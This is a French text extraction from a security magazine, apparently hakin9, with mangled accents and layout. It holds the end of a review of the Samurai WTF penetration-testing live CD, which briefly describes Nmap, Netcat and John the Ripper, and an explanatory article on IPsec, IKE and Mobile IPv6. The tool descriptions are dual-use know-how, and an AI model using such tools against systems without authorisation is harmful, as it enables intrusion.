map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

